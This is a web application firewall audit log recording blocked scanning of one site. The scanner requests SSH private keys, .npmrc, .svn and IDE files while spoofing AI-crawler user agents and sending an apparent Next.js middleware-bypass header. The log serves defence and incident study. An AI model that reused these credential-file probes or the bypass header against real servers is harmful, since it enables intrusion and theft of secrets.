Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.npmrc||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.npmrc"] [unique_id "aqZoOUwu1RSkptiiNIX4BQAAAJQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.npmrc"] [unique_id "aqZoOUwu1RSkptiiNIX4BQAAAJQ"]
Action: Intercepted (phase 2)
Stopwatch: 1789290553209154 56710 (- - -)
Stopwatch2: 1789290553209154 56710; combined=55335, p1=211, p2=54784, p3=0, p4=0, p5=339, sr=78, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--fb9f1450-Z--
--198db442-A--
[13/Sep/2026:12:09:13.418999 +0300] aqZoOWM7dE9KgIIOpQhz6gAAANE 34.73.246.242 37416 127.0.0.1 7081
--198db442-B--
GET /.svn/entries HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--198db442-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--198db442-H--
Message: Warning. Matched phrase ".svn/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.svn/entries||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".svn/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.svn/entries||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.svn/entries"] [unique_id "aqZoOWM7dE9KgIIOpQhz6gAAANE"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.svn/entries"] [unique_id "aqZoOWM7dE9KgIIOpQhz6gAAANE"]
Action: Intercepted (phase 2)
Stopwatch: 1789290553360025 59037 (- - -)
Stopwatch2: 1789290553360025 59037; combined=57644, p1=247, p2=56940, p3=0, p4=0, p5=457, sr=106, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--198db442-Z--
--2dcf6749-A--
[13/Sep/2026:12:09:13.754674 +0300] aqZoOUwu1RSkptiiNIX4BwAAAJY 34.73.246.242 37494 127.0.0.1 7081
--2dcf6749-B--
GET /.idea/WebServers.xml HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--2dcf6749-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--2dcf6749-H--
Message: Warning. Matched phrase ".idea/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.idea/webservers.xml||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".idea/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.idea/webservers.xml||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.idea/WebServers.xml"] [unique_id "aqZoOUwu1RSkptiiNIX4BwAAAJY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.idea/WebServers.xml"] [unique_id "aqZoOUwu1RSkptiiNIX4BwAAAJY"]
Action: Intercepted (phase 2)
Stopwatch: 1789290553691652 63087 (- - -)
Stopwatch2: 1789290553691652 63087; combined=61081, p1=356, p2=60307, p3=0, p4=0, p5=417, sr=150, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2dcf6749-Z--
--0af6f860-A--
[13/Sep/2026:12:09:13.881955 +0300] aqZoOWM7dE9KgIIOpQhz8AAAAMA 34.73.246.242 37506 127.0.0.1 7081
--0af6f860-B--
GET /.ssh/id_rsa HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--0af6f860-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--0af6f860-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_rsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_rsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.ssh/id_rsa"] [unique_id "aqZoOWM7dE9KgIIOpQhz8AAAAMA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.ssh/id_rsa"] [unique_id "aqZoOWM7dE9KgIIOpQhz8AAAAMA"]
Action: Intercepted (phase 2)
Stopwatch: 1789290553823936 58080 (- - -)
Stopwatch2: 1789290553823936 58080; combined=55735, p1=457, p2=54947, p3=0, p4=0, p5=331, sr=185, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--0af6f860-Z--
--51ca4226-A--
[13/Sep/2026:12:09:13.952153 +0300] aqZoOUwu1RSkptiiNIX4CAAAAIE 34.73.246.242 37508 127.0.0.1 7081
--51ca4226-B--
GET /.ssh/id_ed25519 HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--51ca4226-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--51ca4226-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_ed25519||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_ed25519||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.ssh/id_ed25519"] [unique_id "aqZoOUwu1RSkptiiNIX4CAAAAIE"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.ssh/id_ed25519"] [unique_id "aqZoOUwu1RSkptiiNIX4CAAAAIE"]
Action: Intercepted (phase 2)
Stopwatch: 1789290553893159 59042 (- - -)
Stopwatch2: 1789290553893159 59042; combined=57731, p1=249, p2=57221, p3=0, p4=0, p5=261, sr=100, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--51ca4226-Z--
--7891c96a-A--
[13/Sep/2026:12:09:14.009262 +0300] aqZoOTTJ6xTvcJoem7f6ZwAAAEM 34.73.246.242 37524 127.0.0.1 7081
--7891c96a-B--
GET /.ssh/id_ecdsa HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--7891c96a-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--7891c96a-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_ecdsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_ecdsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.ssh/id_ecdsa"] [unique_id "aqZoOTTJ6xTvcJoem7f6ZwAAAEM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.ssh/id_ecdsa"] [unique_id "aqZoOTTJ6xTvcJoem7f6ZwAAAEM"]
Action: Intercepted (phase 2)
Stopwatch: 1789290553952677 56650 (- - -)
Stopwatch2: 1789290553952677 56650; combined=55232, p1=254, p2=54580, p3=0, p4=0, p5=397, sr=108, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7891c96a-Z--
--c200c21e-A--
[13/Sep/2026:12:09:14.013380 +0300] aqZoOTTJ6xTvcJoem7f6aAAAAEw 34.73.246.242 37528 127.0.0.1 7081
--c200c21e-B--
GET /.ssh/id_dsa HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--c200c21e-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--c200c21e-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_dsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_dsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.ssh/id_dsa"] [unique_id "aqZoOTTJ6xTvcJoem7f6aAAAAEw"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.ssh/id_dsa"] [unique_id "aqZoOTTJ6xTvcJoem7f6aAAAAEw"]
Action: Intercepted (phase 2)
Stopwatch: 1789290553957536 55918 (- - -)
Stopwatch2: 1789290553957536 55918; combined=54455, p1=252, p2=53851, p3=0, p4=0, p5=351, sr=89, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c200c21e-Z--
--ae625649-A--
[13/Sep/2026:12:09:14.032733 +0300] aqZoOWM7dE9KgIIOpQhz8QAAANA 34.73.246.242 37544 127.0.0.1 7081
--ae625649-B--
GET /.ssh/authorized_keys HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--ae625649-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--ae625649-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/authorized_keys||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/authorized_keys||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.ssh/authorized_keys"] [unique_id "aqZoOWM7dE9KgIIOpQhz8QAAANA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.ssh/authorized_keys"] [unique_id "aqZoOWM7dE9KgIIOpQhz8QAAANA"]
Action: Intercepted (phase 2)
Stopwatch: 1789290553974605 58188 (- - -)
Stopwatch2: 1789290553974605 58188; combined=56894, p1=235, p2=56306, p3=0, p4=0, p5=353, sr=101, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ae625649-Z--
--4568e756-A--
[13/Sep/2026:12:09:14.088776 +0300] aqZoOisVWymXUono-eRUvQAAAAM 34.73.246.242 37548 127.0.0.1 7081
--4568e756-B--
GET /.ssh/known_hosts HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--4568e756-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--4568e756-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/known_hosts||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/known_hosts||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.ssh/known_hosts"] [unique_id "aqZoOisVWymXUono-eRUvQAAAAM"]
